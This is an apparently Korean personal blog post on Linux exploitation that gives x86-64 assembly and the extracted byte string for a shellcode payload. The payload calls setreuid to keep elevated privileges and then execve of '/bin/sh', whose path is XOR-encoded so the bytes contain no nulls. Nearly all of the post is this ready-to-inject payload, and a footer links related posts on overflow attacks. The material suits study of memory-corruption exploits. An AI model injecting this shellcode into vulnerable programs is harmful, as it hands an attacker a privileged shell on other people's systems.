.globl main
main:
xor %rax, %rax
add $0x6b, %rax
syscall #getuid
mov %rax, %rdi
mov %rax, %rsi
xor %rax, %rax
add $0x71, %rax
syscall #setreuid
xor %rax, %rax
mov $0xaac2d985c4c3c885, %rax
mov $0xaaaaaaaaaaaaaaaa, %rcx
xor %rcx, %rax
push %rax
mov %rsp, %rdi
xor %rsi, %rsi
xor %rdx, %rdx
xor %rax, %rax
add $0x3b, %rax
syscall #execve
xor %rsi, %rsi
xor %rax, %rax
add $0x3c, %rax
syscall #exit
- 0xaac2d985c4c3c885는 "/bin/sh" 문자열을 0xaaaaaaaaaaaaaaaa와 xor 해놓은 값
[뽑아낸 쉘코드]
- setreuid + execve + exit
"\x48\x31\xc0\x48\x83\xc0\x6b\x0f\x05\x48\x89\xc7\x48\x89\xc6\x48\x31\xc0\x48\x83\xc0\x71\x0f\x05\x48\x31\xc0\x48\xb8\x85\xc8\xc3\xc4\x85\xd9\xc2\xaa\x48\xb9\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\x48\x31\xc8\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05\x48\x31\xf6\x48\x31\xc0\x48\x83\xc0\x3c\x0f\x05"
'System > Linux' 카테고리의 다른 글
| QEMU & ARM & buybox 빌드하기 (0) | 2015.02.08 |
|---|---|
| 페도라 오버플로우 공략법 글 (0) | 2013.12.15 |
| Linux system call Table 참고 (0) | 2013.12.15 |
| 리눅스 보호기법 체크 - checksec.sh (1) | 2012.10.26 |
| 리눅스 - 메모리 보호 옵션(ref) (0) | 2012.10.03 |